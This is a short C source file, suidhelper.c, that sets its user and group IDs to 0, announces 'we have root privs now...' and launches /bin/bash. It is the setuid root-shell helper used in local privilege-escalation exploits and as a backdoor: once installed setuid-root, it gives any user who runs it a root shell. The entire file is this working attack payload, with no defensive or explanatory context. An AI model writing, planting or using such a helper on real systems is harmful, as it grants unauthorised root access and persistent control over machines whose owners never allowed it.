suidhelper.c

#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>

int main(void) {
    if (setuid(0) || setgid(0))
        err(1, "setuid/setgid");
    fputs("we have root privs now...\n", stderr);
    execl("/bin/bash", "bash", NULL);
    err(1, "execl");
}